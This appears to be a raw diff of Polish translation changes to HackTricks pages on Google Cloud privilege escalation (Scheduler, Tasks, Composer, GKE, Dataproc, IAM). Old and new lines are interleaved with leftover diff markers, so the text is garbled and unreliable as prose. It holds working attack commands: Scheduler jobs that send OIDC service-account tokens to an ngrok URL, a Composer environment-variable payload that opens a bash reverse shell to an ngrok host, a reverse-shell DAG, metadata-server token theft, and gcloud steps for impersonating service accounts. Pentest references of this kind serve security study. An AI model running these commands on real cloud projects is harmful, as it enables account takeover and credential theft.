Gdy tworzona jest funkcja Cloud, nowy obraz docker jest przesyłany do rejestru artefaktów projektu. Próbowałem zmodyfikować obraz na nowy, a nawet usunąć bieżący obraz (i obraz `cache`), ale nic się nie zmieniło, funkcja chmurowa nadal działa. Dlatego może **możliwe jest nadużycie ataku Race Condition** jak w przypadku koszyka, aby zmienić kontener docker, który będzie uruchamiany, ale **po prostu modyfikacja przechowywanego obrazu nie jest możliwa do kompromitacji funkcji Cloud**.
Po utworzeniu Cloud Function nowy docker image jest wypychany do Artifact Registry projektu. Próbowałem zastąpić obraz nowym, a nawet usunąć obecny obraz (i obraz `cache`) i nic się nie zmieniło — Cloud Function nadal działała. Dlatego być może **możliwe byłoby nadużycie Race Condition** podobnie jak w przypadku bucketa, aby zmienić docker container, który będzie uruchomiony, ale **samo modyfikowanie przechowywanego obrazu nie wystarcza, by przejąć Cloud Function**.
## Odniesienia
## References
- [https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/)
@@ -4,7 +4,7 @@
## Cloudidentity
Aby uzyskać więcej informacji na temat usługi cloudidentity, sprawdź tę stronę:
Aby uzyskać więcej informacji o usłudze cloudidentity, zobacz tę stronę:
{{#ref}}
../gcp-services/gcp-iam-and-org-policies-enum.md
@@ -12,14 +12,20 @@ Aby uzyskać więcej informacji na temat usługi cloudidentity, sprawdź tę str
### Dodaj siebie do grupy
Jeśli twój użytkownik ma wystarczające uprawnienia lub grupa jest źle skonfigurowana, może być w stanie dodać się jako członek nowej grupy:
Jeśli twój użytkownik ma wystarczające uprawnienia lub grupa jest nieprawidłowo skonfigurowana, może dodać siebie jako członka nowej grupy:
<details><summary>Dodaj siebie do grupy Cloud Identity</summary>
```bash
gcloud identity groups memberships add --group-email <email> --member-email <email> [--roles OWNER]
# If --roles isn't specified you will get MEMBER
```
### Zmodyfikuj członkostwo w grupie
</details>
Jeśli twój użytkownik ma wystarczające uprawnienia lub grupa jest źle skonfigurowana, może być w stanie uczynić siebie WŁAŚCICIELEM grupy, której jest członkiem:
### Modyfikacja członkostwa w grupie
Jeśli twój użytkownik ma wystarczające uprawnienia albo grupa jest źle skonfigurowana, może przypisać sobie rolę OWNER w grupie, której jest członkiem:
<details><summary>Zmień członkostwo w grupie, aby zostać OWNER</summary>
```bash
# Check the current membership level
gcloud identity groups memberships describe --member-email <email> --group-email <email>
@@ -27,4 +33,6 @@ gcloud identity groups memberships describe --member-email <email> --group-email
# If not OWNER try
gcloud identity groups memberships modify-membership-roles --group-email <email> --member-email <email> --add-roles=OWNER
```
</details>
{{#include ../../../banners/hacktricks-training.md}}
@@ -10,35 +10,49 @@ Więcej informacji w:
../gcp-services/gcp-cloud-scheduler-enum.md
{{#endref}}
### `cloudscheduler.jobs.create`, `iam.serviceAccounts.actAs`, (`cloudscheduler.locations.list`)
### `cloudscheduler.jobs.create` , `iam.serviceAccounts.actAs`, (`cloudscheduler.locations.list`)
Napastnik z tymi uprawnieniami mógłby wykorzystać **Cloud Scheduler** do **uwierzytelnienia zadań cron jako konkretne Konto Usługi**. Tworząc żądanie HTTP POST, napastnik planuje działania, takie jak tworzenie koszyka Storage, do wykonania pod tożsamością Konta Usługi. Ta metoda wykorzystuje **zdolność Harmonogramu do kierowania na punkty końcowe `*.googleapis.com` i uwierzytelniania żądań**, co pozwala napastnikowi manipulować punktami końcowymi Google API bezpośrednio za pomocą prostego polecenia `gcloud`.
Atakujący posiadający te uprawnienia może wykorzystać **Cloud Scheduler** do **uwierzytelnienia zadań cron jako konkretny Service Account**. Poprzez przygotowanie żądania HTTP POST, atakujący planuje akcje, takie jak tworzenie Storage bucket, które zostaną wykonane w kontekście tożsamości Service Account. Ta metoda wykorzystuje możliwość usługi Scheduler kierowania żądań do punktów końcowych `*.googleapis.com` i ich uwierzytelniania, pozwalając atakującemu bezpośrednio manipulować endpointami Google API przy użyciu prostego polecenia `gcloud`.
- **Skontaktuj się z dowolnym API google za pomocą `googleapis.com` z nagłówkiem tokena OAuth**
- **Nawiąż połączenie z dowolnym google API przez `googleapis.com` używając nagłówka tokenu OAuth**
Utwórz nowy koszyk Storage:
Utwórz nowy Storage bucket:
<details><summary>Create Cloud Scheduler job to create GCS bucket via API</summary>
```bash
gcloud scheduler jobs create http test --schedule='* * * * *' --uri='https://storage.googleapis.com/storage/v1/b?project=<PROJECT-ID>' --message-body "{'name':'new-bucket-name'}" --oauth-service-account-email 111111111111-compute@developer.gserviceaccount.com --headers "Content-Type=application/json" --location us-central1
```
Aby eskalować uprawnienia, **atakujący po prostu tworzy żądanie HTTP skierowane do żądanego API, podszywając się pod określone Konto Usługi**
</details>
- **Ekstrahowanie tokena konta usługi OIDC**
Aby eskalować uprawnienia, **atakujący jedynie tworzy żądanie HTTP skierowane do docelowego API, podszywając się pod wskazany Service Account**
- **Exfiltrate OIDC service account token**
<details><summary>Utwórz Cloud Scheduler job to exfiltrate OIDC token</summary>
```bash
gcloud scheduler jobs create http test --schedule='* * * * *' --uri='https://87fd-2a02-9130-8532-2765-ec9f-cba-959e-d08a.ngrok-free.app' --oidc-service-account-email 111111111111-compute@developer.gserviceaccount.com [--oidc-token-audience '...']
# Listen in the ngrok address to get the OIDC token in clear text.
```
Jeśli musisz sprawdzić odpowiedź HTTP, możesz po prostu **rzucić okiem na logi wykonania**.
</details>
### `cloudscheduler.jobs.update`, `iam.serviceAccounts.actAs`, (`cloudscheduler.locations.list`)
Jeśli chcesz sprawdzić odpowiedź HTTP, możesz po prostu **rzucić okiem na logi wykonania**.
Podobnie jak w poprzednim scenariuszu, możliwe jest **aktualizowanie już utworzonego harmonogramu**, aby ukraść token lub wykonać akcje. Na przykład:
### `cloudscheduler.jobs.update` , `iam.serviceAccounts.actAs`, (`cloudscheduler.locations.list`)
Jak w poprzednim scenariuszu, można **zaktualizować już utworzony scheduler**, aby ukraść token lub wykonać działania. Na przykład:
<details><summary>Update existing Cloud Scheduler job to exfiltrate OIDC token</summary>
```bash
gcloud scheduler jobs update http test --schedule='* * * * *' --uri='https://87fd-2a02-9130-8532-2765-ec9f-cba-959e-d08a.ngrok-free.app' --oidc-service-account-email 111111111111-compute@developer.gserviceaccount.com [--oidc-token-audience '...']
# Listen in the ngrok address to get the OIDC token in clear text.
```
Inny przykład przesłania klucza prywatnego do SA i podszywania się pod niego:
</details>
Kolejny przykład, jak przesłać klucz prywatny do SA i impersonate it:
<details><summary>Prześlij klucz prywatny do Service Account za pomocą Cloud Scheduler i impersonate it</summary>
```bash
# Generate local private key
openssl req -x509 -nodes -newkey rsa:2048 -days 365 \
@@ -102,7 +116,9 @@ EOF
# Activate the generated key
gcloud auth activate-service-account --key-file=/tmp/lab.json
```
## Odniesienia
</details>
## Źródła
- [https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/)
@@ -6,7 +6,9 @@
### `cloudtasks.tasks.create`, `iam.serviceAccounts.actAs`
Napastnik z tymi uprawnieniami może **podszywać się pod inne konta serwisowe**, tworząc zadania, które wykonują się z tożsamością określonego konta serwisowego. Umożliwia to wysyłanie **uwierzytelnionych żądań HTTP do usług Cloud Run lub Cloud Functions chronionych przez IAM**.
Atakujący z tymi uprawnieniami może **podszywać się pod inne konta serwisowe** poprzez tworzenie zadań, które wykonują się z tożsamością określonego konta serwisowego. Pozwala to na wysyłanie **uwierzytelnionych żądań HTTP do usług Cloud Run lub Cloud Functions chronionych przez IAM**.
<details><summary>Utwórz Cloud Task podszywając się pod konto serwisowe</summary>
```bash
gcloud tasks create-http-task \
task-$(date '+%Y%m%d%H%M%S') \
@@ -18,17 +20,25 @@ task-$(date '+%Y%m%d%H%M%S') \
--body-content '{"hello":"world"}' \
--oidc-service-account-email <account>@<project_id>.iam.gserviceaccount.com
```
</details>
### `cloudtasks.tasks.run`, `cloudtasks.tasks.list`
Napastnik z tymi uprawnieniami może **uruchamiać istniejące zaplanowane zadania** bez posiadania uprawnień do konta usługi powiązanego z zadaniem. Umożliwia to wykonywanie zadań, które zostały wcześniej utworzone z użyciem kont usług o wyższych uprawnieniach.
Atakujący posiadający te uprawnienia może **uruchamiać istniejące zaplanowane zadania** bez posiadania uprawnień do konta usługi powiązanego z zadaniem. Umożliwia to wykonanie zadań, które zostały wcześniej utworzone przy użyciu kont usług o wyższych uprawnieniach.
<details><summary>Uruchom istniejący Cloud Task bez uprawnienia actAs</summary>
```bash
gcloud tasks run projects/<project_id>/locations/us-central1/queues/<queue_name>/tasks/<task_id>
```
Główny wykonujący to polecenie **nie potrzebuje uprawnienia `iam.serviceAccounts.actAs`** na koncie usługi zadania. Jednakże, to tylko pozwala na uruchamianie istniejących zadań - nie przyznaje możliwości tworzenia lub modyfikowania zadań.
</details>
Podmiot wykonujący to polecenie **nie potrzebuje uprawnienia `iam.serviceAccounts.actAs`** do konta usługi przypisanego do zadania. Jednakże umożliwia to jedynie uruchamianie istniejących zadań — nie daje uprawnień do tworzenia ani modyfikacji zadań.
### `cloudtasks.queues.setIamPolicy`
Napastnik z tym uprawnieniem może **przyznać sobie lub innym głównym rolę Cloud Tasks** na konkretnych kolejkach, potencjalnie eskalując do `roles/cloudtasks.admin`, co obejmuje możliwość tworzenia i uruchamiania zadań.
Atakujący posiadający to uprawnienie może **przyznać sobie lub innym podmiotom Cloud Tasks roles** na konkretnych kolejkach, potencjalnie eskalując do `roles/cloudtasks.admin`, które zawiera możliwość tworzenia i uruchamiania zadań.
<details><summary>Nadaj rolę Cloud Tasks admin na kolejce</summary>
```bash
gcloud tasks queues add-iam-policy-binding \
<queue_name> \
@@ -36,9 +46,11 @@ gcloud tasks queues add-iam-policy-binding \
--member serviceAccount:<account>@<project_id>.iam.gserviceaccount.com \
--role roles/cloudtasks.admin
```
To pozwala atakującemu na przyznanie pełnych uprawnień administratora Cloud Tasks w kolejce do dowolnego konta usługi, które kontroluje.
</details>
## References
Pozwala to atakującemu nadać pełne uprawnienia administratora Cloud Tasks na kolejce dowolnemu service accountowi, którym zarządza.
## Referencje
- [Google Cloud Tasks Documentation](https://cloud.google.com/tasks/docs)
@@ -12,18 +12,24 @@ Więcej informacji w:
### `composer.environments.create`
Możliwe jest **przypisanie dowolnego konta usługi** do nowo utworzonego środowiska composer z tym uprawnieniem. Później możesz wykonać kod wewnątrz composera, aby ukraść token konta usługi.
Dzięki temu uprawnieniu możliwe jest **przypisać dowolny service account** do nowo tworzonego środowiska Composer. Później można wykonać kod w środowisku Composer, aby ukraść token tego service account.
<details><summary>Utwórz środowisko Composer z przypisanym service account</summary>
```bash
gcloud composer environments create privesc-test \
--project "${PROJECT_ID}" \
--location europe-west1 \
--service-account="${ATTACK_SA}@${PROJECT_ID}.iam.gserviceaccount.com"
```
Więcej informacji na temat eksploatacji [**tutaj**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/i-composer.environmets.create.sh).
</details>
Więcej informacji o eksploatacji [**here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/i-composer.environmets.create.sh).
### `composer.environments.update`
Możliwe jest zaktualizowanie środowiska kompozytora, na przykład, modyfikując zmienne środowiskowe:
Można zaktualizować środowisko composer, na przykład modyfikując zmienne środowiskowe:
<details><summary>Aktualizacja zmiennych środowiskowych Composer w celu wykonania kodu</summary>
```bash
# Even if it says you don't have enough permissions the update happens
gcloud composer environments update \
@@ -46,24 +52,36 @@ X-Allowed-Locations: 0x0
{"config": {"softwareConfig": {"envVariables": {"BROWSER": "/bin/bash -c 'bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/1890 0>&1' & #%s", "PYTHONWARNINGS": "all:0:antigravity.x:0:0"}}}}
```
</details>
TODO: Uzyskaj RCE, dodając nowe pakiety pypi do środowiska
### Pobierz Dags
Sprawdź kod źródłowy wykonywanych dags:
Sprawdź kod źródłowy dags, które są wykonywane:
<details><summary>Eksportuj i pobierz DAGs ze środowiska Composer</summary>
```bash
mkdir /tmp/dags
gcloud composer environments storage dags export --environment <environment> --location <loc> --destination /tmp/dags
```
### Import Dags
</details>
### Import DAGów
Dodaj kod DAG w Pythonie do pliku i zaimportuj go, uruchamiając:
<details><summary>Importuj złośliwy DAG do środowiska Composer</summary>
```bash
# TODO: Create dag to get a rev shell
gcloud composer environments storage dags import --environment test --location us-central1 --source /tmp/dags/reverse_shell.py
```
DAG odwrotnego powłoki:
```python:reverse_shell.py
</details>
Reverse shell DAG:
<details><summary>Kod DAG w Pythonie dla reverse shell</summary>
```python
import airflow
from airflow import DAG
from airflow.operators.bash_operator import BashOperator
@@ -94,22 +112,24 @@ depends_on_past=False,
priority_weight=2**31 - 1,
do_xcom_push=False)
```
### Dostęp do zapisu do koszyka Composer
</details>
Wszystkie komponenty środowisk composer (DAGi, wtyczki i dane) są przechowywane w koszyku GCP. Jeśli atakujący ma uprawnienia do odczytu i zapisu, może monitorować koszyk i **za każdym razem, gdy DAG jest tworzony lub aktualizowany, przesłać wersję z backdoorem**, aby środowisko composer pobrało z magazynu wersję z backdoorem.
### Dostęp zapisu do Composer bucket
Uzyskaj więcej informacji na temat tego ataku w:
Wszystkie komponenty środowisk Composer (DAGs, plugins and data) są przechowywane w bucketcie GCP. Jeśli atakujący ma nad nim uprawnienia do odczytu i zapisu, może monitorować bucket i **whenever a DAG is created or updated, submit a backdoored version** tak, aby środowisko Composer pobrało z storage backdoored wersję.
Get more info about this attack in:
{{#ref}}
gcp-storage-privesc.md
{{#endref}}
### Import Wtyczek
### Import pluginów
TODO: Sprawdź, co można skompromitować, przesyłając wtyczki
TODO: Sprawdź, co można naruszyć poprzez przesyłanie pluginów
### Import Danych
### Import danych
TODO: Sprawdź, co można skompromitować, przesyłając dane
TODO: Sprawdź, co można naruszyć poprzez przesyłanie danych
{{#include ../../../banners/hacktricks-training.md}}
@@ -6,16 +6,22 @@
### `container.clusters.get`
To uprawnienie pozwala na **zbieranie poświadczeń dla klastra Kubernetes** przy użyciu czegoś takiego jak:
To uprawnienie umożliwia **pozyskanie poświadczeń klastra Kubernetes** przy użyciu czegoś takiego:
<details><summary>Pobierz poświadczenia klastra Kubernetes</summary>
```bash
gcloud container clusters get-credentials <cluster_name> --zone <zone>
```
Bez dodatkowych uprawnień, dane uwierzytelniające są dość podstawowe, ponieważ **możesz po prostu wylistować niektóre zasoby**, ale są przydatne do znajdowania błędnych konfiguracji w środowisku.
</details>
Bez dodatkowych uprawnień poświadczenia są dość podstawowe — możesz **tylko wylistować niektóre zasoby**, ale i tak są przydatne do wykrywania błędów konfiguracji w środowisku.
> [!NOTE]
> Zauważ, że **klastry kubernetes mogą być skonfigurowane jako prywatne**, co uniemożliwi dostęp do serwera Kube-API z Internetu.
> Zwróć uwa, że **kubernetes clusters mogą być skonfigurowane jako prywatne**, co uniemożliwi dostęp do Kube-API server z Internetu.
Jeśli nie masz tej uprawnienia, nadal możesz uzyskać dostęp do klastra, ale musisz **utworzyć własny plik konfiguracyjny kubectl** z informacjami o klastrach. Nowo wygenerowany plik wygląda tak:
Jeśli nie masz tego uprawnienia, nadal możesz uzyskać dostęp do klastra, ale musisz **utworzyć własny kubectl config file** z informacjami o klastrze. Nowo wygenerowany wygląda tak:
<details><summary>Przykładowy kubectl config file dla klastra GKE</summary>
```yaml
apiVersion: v1
clusters:
@@ -44,44 +50,46 @@ expiry-key: "{.credential.token_expiry}"
token-key: "{.credential.access_token}"
name: gcp
```
</details>
### `container.roles.escalate` | `container.clusterRoles.escalate`
**Kubernetes** domyślnie **zapobiega** temu, aby podmioty mogły **tworz** lub **aktualizować** **Role** i **ClusterRoles** z **większymi uprawnieniami** niż te, które posiada podmiot. Jednak podmiot **GCP** z tymi uprawnieniami będzie **mógł tworzyć/aktualizować Role/ClusterRoles z większymi uprawnieniami** niż te, które posiada, skutecznie omijając ochronę Kubernetes przed tym zachowaniem.
**Kubernetes** domyślnie **uniemożliwia** podmiotom **tworzenie** lub **aktualizowanie** **Roles** i **ClusterRoles** z **większymi uprawnieniami** niż te, które posiada dany podmiot. Jednakże podmiot **GCP** posiadający te uprawnienia będzie **w stanie tworzyć/aktualizować Roles/ClusterRoles z większymi uprawnieniami** niż posiadał, skutecznie obejmując mechanizmy ochronne Kubernetes przed takim zachowaniem.
**`container.roles.create`** i/lub **`container.roles.update`** LUB **`container.clusterRoles.create`** i/lub **`container.clusterRoles.update`** są **również** **konieczne** do wykonania tych działań eskalacji uprawnień.
**`container.roles.create`** i/lub **`container.roles.update`** LUB **`container.clusterRoles.create`** i/lub **`container.clusterRoles.update`** są odpowiednio **również** **niezbędne** do przeprowadzenia tych działań eskalacji uprawnień.
### `container.roles.bind` | `container.clusterRoles.bind`
**Kubernetes** domyślnie **zapobiega** temu, aby podmioty mogły **tworz** lub **aktualizować** **RoleBindings** i **ClusterRoleBindings**, aby nadać **więcej uprawnień** niż te, które posiada podmiot. Jednak podmiot **GCP** z tymi uprawnieniami będzie **mógł tworzyć/aktualizować RoleBindings/ClusterRolesBindings z większymi uprawnieniami** niż te, które posiada, skutecznie omijając ochronę Kubernetes przed tym zachowaniem.
**Kubernetes** domyślnie **uniemożliwia** podmiotom **tworzenie** lub **aktualizowanie** **RoleBindings** i **ClusterRoleBindings** w celu nadania **większych uprawnień** niż te, które posiada dany podmiot. Jednakże podmiot **GCP** posiadający te uprawnienia będzie **w stanie tworzyć/aktualizować RoleBindings/ClusterRoleBindings z większymi uprawnieniami** niż posiada, skutecznie obejmując mechanizmy ochronne Kubernetes przed tym zachowaniem.
**`container.roleBindings.create`** i/lub **`container.roleBindings.update`** LUB **`container.clusterRoleBindings.create`** i/lub **`container.clusterRoleBindings.update`** są również **konieczne** do wykonania tych działań eskalacji uprawnień.
**`container.roleBindings.create`** i/lub **`container.roleBindings.update`** LUB **`container.clusterRoleBindings.create`** i/lub **`container.clusterRoleBindings.update`** są odpowiednio również **niezbędne** do przeprowadzenia tych działań eskalacji uprawnień.
### `container.cronJobs.create` | `container.cronJobs.update` | `container.daemonSets.create` | `container.daemonSets.update` | `container.deployments.create` | `container.deployments.update` | `container.jobs.create` | `container.jobs.update` | `container.pods.create` | `container.pods.update` | `container.replicaSets.create` | `container.replicaSets.update` | `container.replicationControllers.create` | `container.replicationControllers.update` | `container.scheduledJobs.create` | `container.scheduledJobs.update` | `container.statefulSets.create` | `container.statefulSets.update`
Wszystkie te uprawnienia pozwolą Ci **tworzyć lub aktualizować zasób**, w którym możesz **zdefiniować** **pod**. Definiując pod, możesz **określić SA**, który będzie **przypisany** oraz **obraz**, który będzie **uruchamiany**, dzięki czemu możesz uruchomić obraz, który **wyeksfiltruje token SA na Twój serwer**, umożliwiając Ci eskalację do dowolnego konta serwisowego.\
Aby uzyskać więcej informacji, sprawdź:
Wszystkie te uprawnienia pozwolą ci **utworzyć lub zaktualizować zasób**, w którym możesz **zdefiniować** **pod**. Definiując pod możesz **określić SA**, który zostanie do niego **przypisany**, oraz **image**, który zostanie **uruchomiony**, dzięki czemu możesz uruchomić obraz, który **wyeksfiltruje token SA na twój serwer**, pozwalając ci eskalować do dowolnego service account.\
Po więcej informacji sprawdź:
Ponieważ jesteśmy w środowisku GCP, będziesz również w stanie **uzyskać SA nodepool GCP** z usługi **metadata** i **eskalować uprawnienia w GCP** (domyślnie używane jest SA compute).
Jako że działamy w środowisku **GCP**, będziesz również w stanie **pobrać nodepool GCP SA** z serwisu **metadata** i **escalate privileges in GCP** (domyślnie używany jest compute SA).
### `container.secrets.get` | `container.secrets.list`
Jak [**wyjaśniono na tej stronie**,](../../kubernetes-security/abusing-roles-clusterroles-in-kubernetes/#listing-secrets) z tymi uprawnieniami możesz **czytać** **tokeny** wszystkich **SA w Kubernetes**, więc możesz się do nich eskalować.
Jak [**wyjaśniono na tej stronie**, ](../../kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html#listing-secrets) z tymi uprawnieniami możesz **odczytać** **tokeny** wszystkich **SA w Kubernetes**, więc możesz na nie eskalować.
### `container.pods.exec`
Dzięki temu uprawnieniu będziesz mógł **wykonać polecenie w podach**, co daje Ci **dostęp** do wszystkich **SA Kubernetes działających w podach**, aby eskalować uprawnienia w K8s, ale także będziesz mógł **ukraść** **GCP Service Account** z **NodePool**, **eskalując uprawnienia w GCP**.
Z tym uprawnieniem będziesz mógł **exec into pods**, co daje ci **dostęp** do wszystkich **Kubernetes SA uruchomionych w podach** w celu eskalacji uprawnień w K8s, ale także będziesz w stanie **ukraść** **GCP Service Account** z **NodePool**, **escalating privileges in GCP**.
### `container.pods.portForward`
Jak **wyjaśniono na tej stronie**, z tymi uprawnieniami możesz **uzyskać dostęp do lokalnych usług** działających w **podach**, co może pozwolić Ci **eskalować uprawnienia w Kubernetes** (i w **GCP**, jeśli w jakiś sposób uda Ci się skontaktować z usługą metadata)**.**
Jak **wyjaśniono na tej stronie**, z tymi uprawnieniami możesz **dostępować lokalnych usług** działających w **podach**, które mo pozwolić ci **escalate privileges in Kubernetes** (i w **GCP**, jeśli w jakiś sposób uda ci się porozmawiać z serwisem metadata)**.**
### `container.serviceAccounts.createToken`
Z powodu **nazwa** uprawnienia, **wydaje się, że pozwoli Ci generować tokeny K8s Service Accounts**, więc będziesz mógł **eskalować do dowolnego SA** w Kubernetes. Jednak nie mogłem znaleźć żadnego punktu końcowego API, aby go użyć, więc daj mi znać, jeśli go znajdziesz.
Ze względu na **nazwę** tego **uprawnienia**, **wygląda na to, że pozwoli ono wygenerować tokeny K8s Service Accounts**, więc będziesz mógł **privesc do dowolnego SA** wewnątrz Kubernetes. Jednak nie znalazłem żadnego endpointu API, który by to obsługiwał — daj znać, jeśli go znajdziesz.
### `container.mutatingWebhookConfigurations.create` | `container.mutatingWebhookConfigurations.update`
Te uprawnienia mogą pozwolić Ci eskalować uprawnienia w Kubernetes, ale bardziej prawdopodobne jest, że możesz je wykorzystać do **utrzymania się w klastrze**.\
Aby uzyskać więcej informacji, [**śledź ten link**](../../kubernetes-security/abusing-roles-clusterroles-in-kubernetes/#malicious-admission-controller).
Te uprawnienia mogą pozwolić ci na eskalację uprawnień w Kubernetes, ale bardziej prawdopodobne jest to, że możesz je nadużyć, aby **utrzymać trwały dostęp w klastrze**.\
Po więcej informacji [**follow this link**](../../kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html#malicious-admission-controller).
{{#include ../../../banners/hacktricks-training.md}}
@@ -10,17 +10,19 @@
### `dataproc.clusters.get`, `dataproc.clusters.use`, `dataproc.jobs.create`, `dataproc.jobs.get`, `dataproc.jobs.list`, `storage.objects.create`, `storage.objects.get`
Nie udało mi się uzyskać odwrotnego powłoki za pomocą tej metody, jednak możliwe jest wycieknięcie tokena SA z punktu końcowego metadanych za pomocą opisanej poniżej metody.
Nie udało mi się uzyskać reverse shell przy użyciu tej metody, jednak możliwe jest leak SA token z serwera metadanych przy użyciu metody opisanej poniżej.
#### Kroki do wykorzystania
- Umieść skrypt zadania w GCP Bucket
- Złóż zadanie do klastra Dataproc.
- Wyślij job do klastra Dataproc.
- Użyj zadania do uzyskania dostępu do serwera metadanych.
- Użyj joba, aby uzyskać dostęp do serwera metadanych.
- Wycieknij token konta usługi używanego przez klaster.
- Leak tokena konta serwisowego używanego przez klaster.
<details><summary>Skrypt Pythona do pobrania SA tokena z serwera metadanych</summary>
```python
import requests
@@ -41,7 +43,9 @@ return None
if __name__ == "__main__":
fetch_metadata_token()
```
</details>
<details><summary>Prześlij złośliwe zadanie do klastra Dataproc</summary>
```bash
# Copy the script to the storage bucket
gsutil cp <python-script> gs://<bucket-name>/<python-script>
@@ -51,4 +55,6 @@ gcloud dataproc jobs submit pyspark gs://<bucket-name>/<python-script> \
--cluster=<cluster-name> \
--region=<region>
```
</details>
{{#include ../../../banners/hacktricks-training.md}}
@@ -4,7 +4,7 @@
## IAM
Znajdź więcej informacji o IAM w:
Więcej informacji o IAM znajdziesz w:
{{#ref}}
../gcp-services/gcp-iam-and-org-policies-enum.md
@@ -12,40 +12,54 @@ Znajdź więcej informacji o IAM w:
### `iam.roles.update` (`iam.roles.get`)
Atakujący z wymienionymi uprawnieniami będzie w stanie zaktualizować rolę przypisaną do Ciebie i przyznać Ci dodatkowe uprawnienia do innych zasobów, takich jak:
Atakujący posiadający wymienione uprawnienia będzie mógł zaktualizować rolę przypisaną tobie i przyznać ci dodatkowe uprawnienia do innych zasobów, takich jak:
<details><summary>Zaktualizuj rolę IAM, aby dodać uprawnienia</summary>
```bash
gcloud iam roles update <rol name> --project <project> --add-permissions <permission>
```
Możesz znaleźć skrypt do automatyzacji **tworzenia, wykorzystywania i czyszczenia podatnego środowiska tutaj** oraz skrypt w Pythonie do nadużywania tego uprawnienia [**tutaj**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.roles.update.py). Po więcej informacji sprawdź [**oryginalne badania**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
</details>
Możesz znaleźć skrypt do automatyzacji **creation, exploit and cleaning of a vuln environment here** oraz skrypt w Pythonie do nadużycia tego uprawnienia [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.roles.update.py). Po więcej informacji sprawdź [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
### `iam.serviceAccounts.getAccessToken` (`iam.serviceAccounts.get`)
Atakujący z wymienionymi uprawnieniami będzie mógł **zażądać tokena dostępu, który należy do konta usługi**, więc możliwe jest zażądanie tokena dostępu konta usługi z większymi uprawnieniami niż nasze.
Atakujący z wymienionymi uprawnieniami będzie w stanie **request an access token that belongs to a Service Account**, więc możliwe jest zażądanie access tokena Service Account posiadającego więcej uprawnień niż nasze.
<details><summary>Impersonate service account to get access token</summary>
```bash
gcloud --impersonate-service-account="${victim}@${PROJECT_ID}.iam.gserviceaccount.com" \
auth print-access-token
```
Możesz znaleźć skrypt do automatyzacji [**tworzenia, wykorzystywania i czyszczenia podatnego środowiska tutaj**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/4-iam.serviceAccounts.getAccessToken.sh) oraz skrypt Pythona do nadużywania tego uprawnienia [**tutaj**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.getAccessToken.py). Po więcej informacji sprawdź [**oryginalne badania**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
</details>
Możesz znaleźć skrypt automatyzujący [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/4-iam.serviceAccounts.getAccessToken.sh) oraz skrypt w pythonie do nadużycia tego uprawnienia [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.getAccessToken.py). Po więcej informacji sprawdź [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
### `iam.serviceAccountKeys.create`
Atakujący z wymienionymi uprawnieniami będzie mógł **utworzyć klucz zarządzany przez użytkownika dla konta usługi**, co pozwoli nam uzyskać dostęp do GCP jako to konto usługi.
Atakujący z wymienionymi uprawnieniami będzie mógł **create a user-managed key for a Service Account**, co pozwoli nam uzyskać dostęp do GCP jako ten Service Account.
<details><summary>Utwórz klucz Service Account i uwierzytelnij się</summary>
```bash
gcloud iam service-accounts keys create --iam-account <name> /tmp/key.json
gcloud auth activate-service-account --key-file=sa_cred.json
```
Możesz znaleźć skrypt do automatyzacji [**tworzenia, wykorzystywania i czyszczenia podatnego środowiska tutaj**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/3-iam.serviceAccountKeys.create.sh) oraz skrypt w Pythonie do nadużywania tego uprawnienia [**tutaj**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccountKeys.create.py). Po więcej informacji sprawdź [**oryginalne badania**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
</details>
Zauważ, że **`iam.serviceAccountKeys.update` nie zadziała, aby zmodyfikować klucz** SA, ponieważ do tego potrzebne są również uprawnienia `iam.serviceAccountKeys.create`.
Możesz znaleźć skrypt do zautomatyzowania [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/3-iam.serviceAccountKeys.create.sh) oraz skrypt w Pythonie do nadużycia tego uprawnienia [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccountKeys.create.py). Więcej informacji znajdziesz w [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
Zwróć uwagę, że **`iam.serviceAccountKeys.update` won't work to modify the key** of a SA, ponieważ do tego wymagane jest również uprawnienie `iam.serviceAccountKeys.create`.
### `iam.serviceAccounts.implicitDelegation`
Jeśli masz uprawnienie **`iam.serviceAccounts.implicitDelegation`** na koncie usługi, które ma uprawnienie **`iam.serviceAccounts.getAccessToken`** na trzecim koncie usługi, to możesz użyć implicitDelegation do **utworzenia tokena dla tego trzeciego konta usługi**. Oto diagram, który pomoże to wyjaśnić.
Jeśli masz uprawnienie **`iam.serviceAccounts.implicitDelegation`** na Service Account, który ma uprawnienie **`iam.serviceAccounts.getAccessToken`** na trzeci Service Account, możesz użyć implicitDelegation, aby **utworz token dla tego trzeciego Service Account**. Poniżej diagram, który to wyjaśnia.
![](https://rhinosecuritylabs.com/wp-content/uploads/2020/04/image2-500x493.png)
